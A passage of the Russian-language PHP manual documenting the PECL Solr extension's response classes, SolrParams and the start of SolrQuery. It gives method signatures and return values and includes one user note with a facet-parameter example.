  • SolrResponse::getRawRequestHeaders — Возвращает необработанные заголовки запроса, отправленные на сервер Solr
  • SolrResponse::getRawResponse — Возвращает необработанный ответ с сервера
  • SolrResponse::getRawResponseHeaders — Возвращает необработанные заголовки ответа с сервера
  • SolrResponse::getRequestUrl — Возвращает полный URL-адрес, на который был отправлен запрос
  • SolrResponse::getResponse — Возвращает SolrObject, представляющий ответ XML от сервера
  • SolrResponse::setParseMode — Устанавливает режим разбора
  • SolrResponse::success — Был ли запрос успешным?

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ответ XML как сериализованные данные PHP

  • « SolrResponse
  • SolrResponse::getHttpStatus »
  • PHP Manual
  • SolrResponse
  • Возвращает ответ XML как сериализованные данные PHP

SolrResponse::getDigestedResponse

(PECL solr >= 0.9.2)

SolrResponse::getDigestedResponse — Возвращает ответ XML как сериализованные данные PHP

Описание

public SolrResponse::getDigestedResponse(): string

Возвращает ответ XML как сериализованные данные PHP

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ответ XML как сериализованные данные PHP

User Contributed Notes

There are no user contributed notes for this page.


Возвращает HTTP-статус ответа

  • « SolrResponse::getDigestedResponse
  • SolrResponse::getHttpStatusMessage »
  • PHP Manual
  • SolrResponse
  • Возвращает HTTP-статус ответа

SolrResponse::getHttpStatus

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatus — Возвращает HTTP-статус ответа

Описание

public SolrResponse::getHttpStatus(): int

Возвращает HTTP-статус ответа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает HTTP-статус ответа.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает более подробную информацию о статусе HTTP

  • « SolrResponse::getHttpStatus
  • SolrResponse::getRawRequest »
  • PHP Manual
  • SolrResponse
  • Возвращает более подробную информацию о статусе HTTP

SolrResponse::getHttpStatusMessage

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatusMessage — Возвращает более подробную информацию о статусе HTTP

Описание

public SolrResponse::getHttpStatusMessage(): string

Возвращает более подробную информацию о статусе HTTP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает более подробную информацию о статусе HTTP

User Contributed Notes

There are no user contributed notes for this page.


Возвращает необработанный запрос, отправленный на сервер Solr

  • « SolrResponse::getHttpStatusMessage
  • SolrResponse::getRawRequestHeaders »
  • PHP Manual
  • SolrResponse
  • Возвращает необработанный запрос, отправленный на сервер Solr

SolrResponse::getRawRequest

(PECL solr >= 0.9.2)

SolrResponse::getRawRequest — Возвращает необработанный запрос, отправленный на сервер Solr

Описание

public SolrResponse::getRawRequest(): string

Возвращает необработанный запрос, отправленный на сервер Solr.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает необработанный запрос, отправленный на сервер Solr

User Contributed Notes

There are no user contributed notes for this page.


Возвращает необработанные заголовки запроса, отправленные на сервер Solr

  • « SolrResponse::getRawRequest
  • SolrResponse::getRawResponse »
  • PHP Manual
  • SolrResponse
  • Возвращает необработанные заголовки запроса, отправленные на сервер Solr

SolrResponse::getRawRequestHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawRequestHeaders — Возвращает необработанные заголовки запроса, отправленные на сервер Solr

Описание

public SolrResponse::getRawRequestHeaders(): string

Возвращает необработанные заголовки запроса, отправленные на сервер Solr.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает необработанные заголовки запроса, отправленные на сервер Solr

User Contributed Notes

There are no user contributed notes for this page.


Возвращает необработанный ответ с сервера

  • « SolrResponse::getRawRequestHeaders
  • SolrResponse::getRawResponseHeaders »
  • PHP Manual
  • SolrResponse
  • Возвращает необработанный ответ с сервера

SolrResponse::getRawResponse

(PECL solr >= 0.9.2)

SolrResponse::getRawResponse — Возвращает необработанный ответ с сервера

Описание

public SolrResponse::getRawResponse(): string

Возвращает необработанный ответ с сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает необработанный ответ с сервера.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает необработанные заголовки ответа с сервера

  • « SolrResponse::getRawResponse
  • SolrResponse::getRequestUrl »
  • PHP Manual
  • SolrResponse
  • Возвращает необработанные заголовки ответа с сервера

SolrResponse::getRawResponseHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawResponseHeaders — Возвращает необработанные заголовки ответа с сервера

Описание

public SolrResponse::getRawResponseHeaders(): string

Возвращает необработанные заголовки ответа с сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает необработанные заголовки ответа с сервера.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает полный URL-адрес, на который был отправлен запрос

  • « SolrResponse::getRawResponseHeaders
  • SolrResponse::getResponse »
  • PHP Manual
  • SolrResponse
  • Возвращает полный URL-адрес, на который был отправлен запрос

SolrResponse::getRequestUrl

(PECL solr >= 0.9.2)

SolrResponse::getRequestUrl — Возвращает полный URL-адрес, на который был отправлен запрос

Описание

public SolrResponse::getRequestUrl(): string

Возвращает полный URL-адрес, на который был отправлен запрос.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает полный URL-адрес, на который был отправлен запрос

User Contributed Notes

There are no user contributed notes for this page.


Возвращает SolrObject, представляющий ответ XML от сервера

  • « SolrResponse::getRequestUrl
  • SolrResponse::setParseMode »
  • PHP Manual
  • SolrResponse
  • Возвращает SolrObject, представляющий ответ XML от сервера

SolrResponse::getResponse

(PECL solr >= 0.9.2)

SolrResponse::getResponse — Возвращает SolrObject, представляющий ответ XML от сервера

Описание

public SolrResponse::getResponse(): SolrObject

Возвращает SolrObject, представляющий ответ XML от сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает SolrObject, представляющий ответ XML от сервера

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим разбора

  • « SolrResponse::getResponse
  • SolrResponse::success »
  • PHP Manual
  • SolrResponse
  • Устанавливает режим разбора

SolrResponse::setParseMode

(PECL solr >= 0.9.2)

SolrResponse::setParseMode — Устанавливает режим разбора

Описание

public SolrResponse::setParseMode(int $parser_mode = 0): bool

Устанавливает режим разбора.

Список параметров

parser_mode

SolrResponse::PARSE_SOLR_DOC анализирует документы в экземплярах SolrDocument. SolrResponse::PARSE_SOLR_OBJ разбирает документ на SolrObjects.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Был ли запрос успешным?

  • « SolrResponse::setParseMode
  • SolrQueryResponse »
  • PHP Manual
  • SolrResponse
  • Был ли запрос успешным?

SolrResponse::success

(PECL solr >= 0.9.2)

SolrResponse::success — Был ли запрос успешным?

Описание

public SolrResponse::success(): bool

Используется для проверки успешности запроса к серверу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае если запрос выполнен успешно и false, если нет.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrQueryResponse

(PECL solr >= 0.9.2)

Введение

Представляет ответ на запрос запроса.

Обзор классов

final class SolrQueryResponse extends SolrResponse {
/* Константы */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* Наследуемые свойства */
const int SolrResponse::PARSE_SOLR_OBJ = 0;
const int SolrResponse::PARSE_SOLR_DOC = 1;
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* Методы */
public __construct()
public __destruct()
/* Наследуемые методы */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

Предопределённые константы

Константы класса SolrResponse

SolrQueryResponse::PARSE_SOLR_OBJ

Документы следует анализировать как экземпляры SolrObject.

SolrQueryResponse::PARSE_SOLR_DOC

Документы следует анализировать как экземпляры SolrDocument.

Содержание

  • SolrQueryResponse::__construct — Конструктор
  • SolrQueryResponse::__destruct — Деструктор

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrQueryResponse
  • SolrQueryResponse::__destruct »
  • PHP Manual
  • SolrQueryResponse
  • Конструктор

SolrQueryResponse::__construct

(PECL solr >= 0.9.2)

SolrQueryResponse::__construct — Конструктор

Описание

public SolrQueryResponse::__construct()

Конструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrQueryResponse::__construct
  • SolrUpdateResponse »
  • PHP Manual
  • SolrQueryResponse
  • Деструктор

SolrQueryResponse::__destruct

(PECL solr >= 0.9.2)

SolrQueryResponse::__destruct — Деструктор

Описание

public SolrQueryResponse::__destruct()

Деструктор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrUpdateResponse

(PECL solr >= 0.9.2)

Введение

Представляет ответ на запрос на обновление.

Обзор классов

final class SolrUpdateResponse extends SolrResponse {
/* Константы */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* Наследуемые свойства */
const int SolrResponse::PARSE_SOLR_OBJ = 0;
const int SolrResponse::PARSE_SOLR_DOC = 1;
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* Методы */
public __construct()
public __destruct()
/* Наследуемые методы */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

Предопределённые константы

Константы класса SolrUpdateResponse

SolrUpdateResponse::PARSE_SOLR_OBJ

Документы следует анализировать как экземпляры SolrObject

SolrUpdateResponse::PARSE_SOLR_DOC

Документы следует анализировать как экземпляры SolrDocument

Содержание

  • SolrUpdateResponse::__construct — Конструктор
  • SolrUpdateResponse::__destruct — Деструктор

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrUpdateResponse
  • SolrUpdateResponse::__destruct »
  • PHP Manual
  • SolrUpdateResponse
  • Конструктор

SolrUpdateResponse::__construct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__construct — Конструктор

Описание

public SolrUpdateResponse::__construct()

Конструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrUpdateResponse::__construct
  • SolrPingResponse »
  • PHP Manual
  • SolrUpdateResponse
  • Деструктор

SolrUpdateResponse::__destruct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__destruct — Деструктор

Описание

public SolrUpdateResponse::__destruct()

Деструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrPingResponse

(PECL solr >= 0.9.2)

Введение

Представляет ответ на запрос ping к серверу

Обзор классов

final class SolrPingResponse extends SolrResponse {
/* Константы */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* Свойства */
/* Методы */
public __construct()
public getResponse(): string
public __destruct()
/* Наследуемые методы */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

Свойства

http_status

HTTP-статус ответа.

parser_mode

Следует ли анализировать документы solr как экземпляры SolrObject или SolrDocument.

success

Была ли ошибка при запросе

http_status_message

Подробное сообщение о статусе http

http_request_url

URL запроса

http_raw_request_headers

Строка необработанных заголовков, отправленных во время запроса

http_raw_request

Необработанный запрос, отправленный на сервер

http_raw_response_headers

Заголовки ответа от сервера Solr

http_raw_response

Ответное сообщение от сервера

http_digested_response

Ответ в сериализованном формате PHP.

Предопределённые константы

Константы класса SolrPingResponse

SolrPingResponse::PARSE_SOLR_OBJ

Документы следует анализировать как экземпляры SolrObject.

SolrPingResponse::PARSE_SOLR_DOC

Документы следует анализировать как экземпляры SolrDocument.

Содержание

  • SolrPingResponse::__construct — Конструктор
  • SolrPingResponse::__destruct — Деструктор
  • SolrPingResponse::getResponse — Возвращает ответ от сервера

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrPingResponse
  • SolrPingResponse::__destruct »
  • PHP Manual
  • SolrPingResponse
  • Конструктор

SolrPingResponse::__construct

(PECL solr >= 0.9.2)

SolrPingResponse::__construct — Конструктор

Описание

public SolrPingResponse::__construct()

Конструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего не возвращает

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrPingResponse::__construct
  • SolrPingResponse::getResponse »
  • PHP Manual
  • SolrPingResponse
  • Деструктор

SolrPingResponse::__destruct

(PECL solr >= 0.9.2)

SolrPingResponse::__destruct — Деструктор

Описание

public SolrPingResponse::__destruct()

Деструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего не возвращает

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ответ от сервера

  • « SolrPingResponse::__destruct
  • SolrGenericResponse »
  • PHP Manual
  • SolrPingResponse
  • Возвращает ответ от сервера

SolrPingResponse::getResponse

(PECL solr >= 0.9.2)

SolrPingResponse::getResponse — Возвращает ответ от сервера

Описание

public SolrPingResponse::getResponse(): string

Возвращает ответ от сервера. Он должен быть пустым, потому что является HEAD-запросом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает пустую строку.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrGenericResponse

(PECL solr >= 0.9.2)

Введение

Представляет ответ от сервера solr.

Обзор классов

final class SolrGenericResponse extends SolrResponse {
/* Константы */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* Наследуемые свойства */
const int SolrResponse::PARSE_SOLR_OBJ = 0;
const int SolrResponse::PARSE_SOLR_DOC = 1;
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* Методы */
public __construct()
public __destruct()
/* Наследуемые методы */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

Предопределённые константы

Константы класса SolrGenericResponse

SolrGenericResponse::PARSE_SOLR_OBJ

Документы следует анализировать как экземпляры SolrObject.

SolrGenericResponse::PARSE_SOLR_DOC

Документы следует анализировать как экземпляры SolrDocument.

Содержание

  • SolrGenericResponse::__construct — Конструктор
  • SolrGenericResponse::__destruct — Деструктор

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrGenericResponse
  • SolrGenericResponse::__destruct »
  • PHP Manual
  • SolrGenericResponse
  • Конструктор

SolrGenericResponse::__construct

(PECL solr >= 0.9.2)

SolrGenericResponse::__construct — Конструктор

Описание

public SolrGenericResponse::__construct()

Конструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrGenericResponse::__construct
  • SolrParams »
  • PHP Manual
  • SolrGenericResponse
  • Деструктор

SolrGenericResponse::__destruct

(PECL solr >= 0.9.2)

SolrGenericResponse::__destruct — Деструктор

Описание

public SolrGenericResponse::__destruct()

Деструктор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrParams

(PECL solr >= 0.9.2)

Введение

Представляет коллекцию пар "имя-значение", отправляемую на сервер Solr во время запроса.

Обзор классов

abstract class SolrParams implements Serializable {
/* Методы */
final public add(string $name, string $value): SolrParams
public addParam(string $name, string $value): SolrParams
final public get(string $param_name): mixed
final public getParam(string $param_name = ?): mixed
final public getParams(): array
final public getPreparedParams(): array
final public serialize(): string
final public set(string $name, string $value): void
public setParam(string $name, string $value): SolrParams
final public toString(bool $url_encode = false): string
final public unserialize(string $serialized): void
}

Содержание

  • SolrParams::add — Псевдоним SolrParams::addParam
  • SolrParams::addParam — Добавляет параметр к объекту
  • SolrParams::get — Псевдоним SolrParams::getParam
  • SolrParams::getParam — Возвращает значение параметра
  • SolrParams::getParams — Возвращает массив параметров, не в URL-закодированном виде
  • SolrParams::getPreparedParams — Возвращает массив параметров в URL-закодированном виде
  • SolrParams::serialize — Используется для пользовательской сериализации
  • SolrParams::set — Псевдоним SolrParams::setParam
  • SolrParams::setParam — Устанавливает параметр на указанное значение
  • SolrParams::toString — Возвращает все параметры объекта в виде пар имя-значение
  • SolrParams::unserialize — Используется для пользовательской сериализации

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним SolrParams::addParam

  • « SolrParams
  • SolrParams::addParam »
  • PHP Manual
  • SolrParams
  • Псевдоним SolrParams::addParam

SolrParams::add

(PECL solr >= 0.9.2)

SolrParams::add — Псевдоним SolrParams::addParam()

Описание

final public SolrParams::add(string $name, string $value): SolrParams

Псевдоним SolrParams::addParam

Список параметров

name

Имя параметра

value

Значение параметра

Возвращаемые значения

Возвращает экземпляр SolrParams в случае успешного выполнения

User Contributed Notes

There are no user contributed notes for this page.


Добавляет параметр к объекту

  • « SolrParams::add
  • SolrParams::get »
  • PHP Manual
  • SolrParams
  • Добавляет параметр к объекту

SolrParams::addParam

(PECL solr >= 0.9.2)

SolrParams::addParam — Добавляет параметр к объекту

Описание

public SolrParams::addParam(string $name, string $value): SolrParams

Добавляет параметр к объекту. Используется для параметров, которые можно указывать несколько раз.

Список параметров

name

Имя параметра

value

Значение параметра

Возвращаемые значения

В случае успешного выполнения возвращает объект SolrParam и false в случае возникновения ошибки.

User Contributed Notes

horaciod at gmail dot com 11-Apr-2023 11:02
great for adding unintended parameters in other functions like facet.contains

?php
$facet = 'title'  ;
$str='isto';
$query = new SolrQuery($filter);
$query->setFacet(true)->setShowDebugInfo(true);

$query->addFacetField($facet)->setFacetMinCount(1)->setFacetLimit(200)->setfacetsort(SolrQuery::TERMS_SORT_INDEX);

$query->addparam('facet.contains',$str) ;

 ?>
// result of $query->getparams()  //check the lastone
array(8) {
  ["q"]=>  array(1) {
    [0]=>    string(20) "collection_id_str:61"
  }
  ["facet"]=>  array(1) {
    [0]=>    string(4) "true"
  }
  ["debugQuery"]=>  array(1) {
    [0]=>    string(4) "true"
  }
  ["facet.field"]=>  array(1) {
    [0]=>    string(11) "440a_str_mv"
  }
  ["facet.mincount"]=>  array(1) {
    [0]=>    string(1) "1"
  }
  ["facet.limit"]=>  array(1) {
    [0]=>    string(3) "200"
  }
  ["facet.sort"]=>  array(1) {
    [0]=>    string(5) "index"
  }
  ["facet.contains"]=>  array(1) {
    [0]=>    string(4) "isto"
  }
}


Псевдоним SolrParams::getParam

  • « SolrParams::addParam
  • SolrParams::getParam »
  • PHP Manual
  • SolrParams
  • Псевдоним SolrParams::getParam

SolrParams::get

(PECL solr >= 0.9.2)

SolrParams::get — Псевдоним SolrParams::getParam()

Описание

final public SolrParams::get(string $param_name): mixed

Псевдоним SolrParams::getParam

Список параметров

param_name

Имя параметра

Возвращаемые значения

Возвращает массив или строку в зависимости от типа параметра

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра

  • « SolrParams::get
  • SolrParams::getParams »
  • PHP Manual
  • SolrParams
  • Возвращает значение параметра

SolrParams::getParam

(PECL solr >= 0.9.2)

SolrParams::getParam — Возвращает значение параметра

Описание

final public SolrParams::getParam(string $param_name = ?): mixed

Возвращает значение параметра с именем param_name

Список параметров

param_name

Имя параметра

Возвращаемые значения

Возвращает массив или строку в зависимости от типа параметра

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив параметров, не в URL-закодированном виде

  • « SolrParams::getParam
  • SolrParams::getPreparedParams »
  • PHP Manual
  • SolrParams
  • Возвращает массив параметров, не в URL-закодированном виде

SolrParams::getParams

(PECL solr >= 0.9.2)

SolrParams::getParams — Возвращает массив параметров, не в URL-закодированном виде

Описание

final public SolrParams::getParams(): array

Возвращает массив параметров, не в URL-закодированном виде

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив параметров, не в URL-закодированном виде

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив параметров в URL-закодированном виде

  • « SolrParams::getParams
  • SolrParams::serialize »
  • PHP Manual
  • SolrParams
  • Возвращает массив параметров в URL-закодированном виде

SolrParams::getPreparedParams

(PECL solr >= 0.9.2)

SolrParams::getPreparedParams — Возвращает массив параметров в URL-закодированном виде

Описание

final public SolrParams::getPreparedParams(): array

Возвращает массив параметров в URL-закодированном виде

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив параметров в URL-закодированном виде

User Contributed Notes

There are no user contributed notes for this page.


Используется для пользовательской сериализации

  • « SolrParams::getPreparedParams
  • SolrParams::set »
  • PHP Manual
  • SolrParams
  • Используется для пользовательской сериализации

SolrParams::serialize

(PECL solr >= 0.9.2)

SolrParams::serialize — Используется для пользовательской сериализации

Описание

final public SolrParams::serialize(): string

Используется для пользовательской сериализации

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Используется для пользовательской сериализации

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним SolrParams::setParam

  • « SolrParams::serialize
  • SolrParams::setParam »
  • PHP Manual
  • SolrParams
  • Псевдоним SolrParams::setParam

SolrParams::set

(PECL solr >= 0.9.2)

SolrParams::set — Псевдоним SolrParams::setParam()

Описание

final public SolrParams::set(string $name, string $value): void

Псевдоним SolrParams::setParam

Список параметров

name

Имя параметра

value

Значение параметра

Возвращаемые значения

Возвращает экземпляр SolrParams в случае успешного выполнения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр на указанное значение

  • « SolrParams::set
  • SolrParams::toString »
  • PHP Manual
  • SolrParams
  • Устанавливает параметр на указанное значение

SolrParams::setParam

(PECL solr >= 0.9.2)

SolrParams::setParam — Устанавливает параметр на указанное значение

Описание

public SolrParams::setParam(string $name, string $value): SolrParams

Устанавливает для параметра запроса указанное значение. Используется для параметров, которые можно указать только один раз. Последующие вызовы с тем же именем параметра переопределят существующее значение

Список параметров

name

Имя параметра

value

Значение параметра

Возвращаемые значения

Возвращает экземпляр SolrParams в случае успешного выполнения и false в случае указанного значения

Примеры

Пример #1 Пример использования SolrParams::setParam()

<?php

$param = new SolrParams();

$param->setParam('q', 'solr')->setParam('rows', 2);

?>

Вывод приведённого примера будет похож на:

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все параметры объекта в виде пар имя-значение

  • « SolrParams::setParam
  • SolrParams::unserialize »
  • PHP Manual
  • SolrParams
  • Возвращает все параметры объекта в виде пар имя-значение

SolrParams::toString

(PECL solr >= 0.9.2)

SolrParams::toString — Возвращает все параметры объекта в виде пар имя-значение

Описание

final public SolrParams::toString(bool $url_encode = false): string

Возвращает все параметры объекта в виде пар имя-значение

Список параметров

url_encode

Следует ли возвращать значения в URL-закодированном виде

Возвращаемые значения

В случае успешного выполнения метод возвращает строку и false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Используется для пользовательской сериализации

  • « SolrParams::toString
  • SolrModifiableParams »
  • PHP Manual
  • SolrParams
  • Используется для пользовательской сериализации

SolrParams::unserialize

(PECL solr >= 0.9.2)

SolrParams::unserialize — Используется для пользовательской сериализации

Описание

final public SolrParams::unserialize(string $serialized): void

Используется для пользовательской сериализации

Список параметров

serialized

Сериализованное представление объекта

Возвращаемые значения

Ничего не возвращает

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrModifiableParams

(PECL solr >= 0.9.2)

Введение

Представляет коллекцию пар "имя-значение", отправляемую на сервер Solr во время запроса.

Обзор классов

class SolrModifiableParams extends SolrParams implements Serializable {
/* Методы */
public __construct()
public __destruct()
/* Наследуемые методы */
final public SolrParams::add(string $name, string $value): SolrParams
public SolrParams::addParam(string $name, string $value): SolrParams
final public SolrParams::get(string $param_name): mixed
final public SolrParams::getParam(string $param_name = ?): mixed
final public SolrParams::getParams(): array
final public SolrParams::getPreparedParams(): array
final public SolrParams::serialize(): string
final public SolrParams::set(string $name, string $value): void
public SolrParams::setParam(string $name, string $value): SolrParams
final public SolrParams::toString(bool $url_encode = false): string
final public SolrParams::unserialize(string $serialized): void
}

Содержание

  • SolrModifiableParams::__construct — Конструктор
  • SolrModifiableParams::__destruct — Деструктор

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrModifiableParams
  • SolrModifiableParams::__destruct »
  • PHP Manual
  • SolrModifiableParams
  • Конструктор

SolrModifiableParams::__construct

(PECL solr >= 0.9.2)

SolrModifiableParams::__construct — Конструктор

Описание

public SolrModifiableParams::__construct()

Конструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrModifiableParams::__construct
  • SolrQuery »
  • PHP Manual
  • SolrModifiableParams
  • Деструктор

SolrModifiableParams::__destruct

(PECL solr >= 0.9.2)

SolrModifiableParams::__destruct — Деструктор

Описание

public SolrModifiableParams::__destruct()

Деструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrQuery

(PECL solr >= 0.9.2)

Введение

Представляет коллекцию пар имя-значение, отправленную на сервер Solr во время запроса.

Обзор классов

class SolrQuery extends SolrModifiableParams implements Serializable {
/* Константы */
const int ORDER_ASC = 0;
const int ORDER_DESC = 1;
const int FACET_SORT_INDEX = 0;
const int FACET_SORT_COUNT = 1;
const int TERMS_SORT_INDEX = 0;
const int TERMS_SORT_COUNT = 1;
/* Свойства */
/* Методы */
public __construct(string $q = ?)
public addExpandFilterQuery(string $fq): SolrQuery
public addExpandSortField(string $field, string $order = ?): SolrQuery
public addFacetDateField(string $dateField): SolrQuery
public addFacetDateOther(string $value, string $field_override = ?): SolrQuery
public addFacetField(string $field): SolrQuery
public addFacetQuery(string $facetQuery): SolrQuery
public addField(string $field): SolrQuery
public addFilterQuery(string $fq): SolrQuery
public addGroupField(string $value): SolrQuery
public addGroupFunction(string $value): SolrQuery
public addGroupQuery(string $value): SolrQuery
public addGroupSortField(string $field, int $order = ?): SolrQuery
public addHighlightField(string $field): SolrQuery
public addMltField(string $field): SolrQuery
public addMltQueryField(string $field, float $boost): SolrQuery
public addSortField(string $field, int $order = SolrQuery::ORDER_DESC): SolrQuery
public addStatsFacet(string $field): SolrQuery
public addStatsField(string $field): SolrQuery
public collapse(SolrCollapseFunction $collapseFunction): SolrQuery
public getExpand(): bool
public getExpandFilterQueries(): array
public getExpandQuery(): array
public getExpandRows(): int
public getExpandSortFields(): array
public getFacet(): bool
public getFacetDateEnd(string $field_override = ?): string
public getFacetDateFields(): array
public getFacetDateGap(string $field_override = ?): string
public getFacetDateHardEnd(string $field_override = ?): string
public getFacetDateOther(string $field_override = ?): array
public getFacetDateStart(string $field_override = ?): string
public getFacetFields(): array
public getFacetLimit(string $field_override = ?): int
public getFacetMethod(string $field_override = ?): string
public getFacetMinCount(string $field_override = ?): int
public getFacetMissing(string $field_override = ?): bool
public getFacetOffset(string $field_override = ?): int
public getFacetPrefix(string $field_override = ?): string
public getFacetQueries(): array
public getFacetSort(string $field_override = ?): int
public getFields(): array
public getFilterQueries(): array
public getGroup(): bool
public getGroupCachePercent(): int
public getGroupFacet(): bool
public getGroupFields(): array
public getGroupFormat(): string
public getGroupFunctions(): array
public getGroupLimit(): int
public getGroupMain(): bool
public getGroupNGroups(): bool
public getGroupOffset(): int
public getGroupQueries(): array
public getGroupSortFields(): array
public getGroupTruncate(): bool
public getHighlight(): bool
public getHighlightAlternateField(string $field_override = ?): string
public getHighlightFields(): array
public getHighlightFormatter(string $field_override = ?): string
public getHighlightFragmenter(string $field_override = ?): string
public getHighlightFragsize(string $field_override = ?): int
public getHighlightHighlightMultiTerm(): bool
public getHighlightMaxAlternateFieldLength(string $field_override = ?): int
public getHighlightMaxAnalyzedChars(): int
public getHighlightMergeContiguous(string $field_override = ?): bool
public getHighlightRegexMaxAnalyzedChars(): int
public getHighlightRegexPattern(): string
public getHighlightRegexSlop(): float
public getHighlightRequireFieldMatch(): bool
public getHighlightSimplePost(string $field_override = ?): string
public getHighlightSimplePre(string $field_override = ?): string
public getHighlightSnippets(string $field_override = ?): int
public getHighlightUsePhraseHighlighter(): bool
public getMlt(): bool
public getMltBoost(): bool
public getMltCount(): int
public getMltFields(): array
public getMltMaxNumQueryTerms(): int
public getMltMaxNumTokens(): int
public getMltMaxWordLength(): int
public getMltMinDocFrequency(): int
